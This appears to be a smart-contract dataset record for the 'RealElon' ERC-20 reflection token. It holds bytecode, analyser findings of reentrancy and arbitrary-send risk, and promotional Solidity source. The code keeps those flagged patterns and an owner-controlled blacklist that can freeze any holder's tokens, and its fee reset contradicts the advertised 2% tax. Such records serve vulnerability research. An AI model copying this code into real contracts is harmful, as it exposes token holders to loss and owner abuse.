0000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960068461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660048461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dad69dc745a72cd1b6a080255f5709495f4187f7325ee71f5ac4abb6ef6c206864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,710 |
0xa4115d778b81e5b7d13c12d37e95113285a33bfa
|
//Welcome to Real Elon
//FOR REAL:
//Stake Farm and Bond
//Distribution to all $RELON Holders
//Future NFT Marketplace
//Future NFT Airdrop to $RELON Holders
//10% Marketing Fee
//2% Tax Fee
//5% Distribution
//Website: realelon.com
//Telegram: https://t.me/realeloncom
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RealElon is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "RealElon";
string private constant _symbol = "RELON";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600881526020017f5265616c456c6f6e000000000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffff